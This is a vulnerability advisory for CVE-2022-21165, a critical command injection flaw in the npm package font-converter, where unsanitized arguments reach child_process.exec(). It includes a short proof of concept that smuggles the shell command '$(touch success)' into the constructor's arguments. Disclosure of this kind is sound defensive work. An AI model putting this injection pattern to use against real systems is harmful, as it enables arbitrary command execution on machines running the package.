critical9.8
CVE-2022-21165
Font-Converter Vulnerable to Arbitrary Command Injection
Impact
### Overview font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF) All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the `child_process.exec()` function. ### PoC ```js var PUT = require('font-converter'); var x = "$(touch success);# "; try { new PUT(x, x, x, x); } catch (e) { console.log(e); } ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | font-converter | <= 1.1.1 | none recorded |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Font Converter Project | Font Converter | Versions 1.0.0, 1.1.0, 1.1.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/zgec/node-js-font-converter/blob/master/index.js%23L12
- https://security.snyk.io/vuln/SNYK-JS-FONTCONVERTER-2976194
- https://github.com/advisories/GHSA-g2c3-vwff-m3xr
- https://nvd.nist.gov/vuln/detail/CVE-2022-21165
- https://github.com/zgec/node-js-font-converter/blob/master/index.js#L12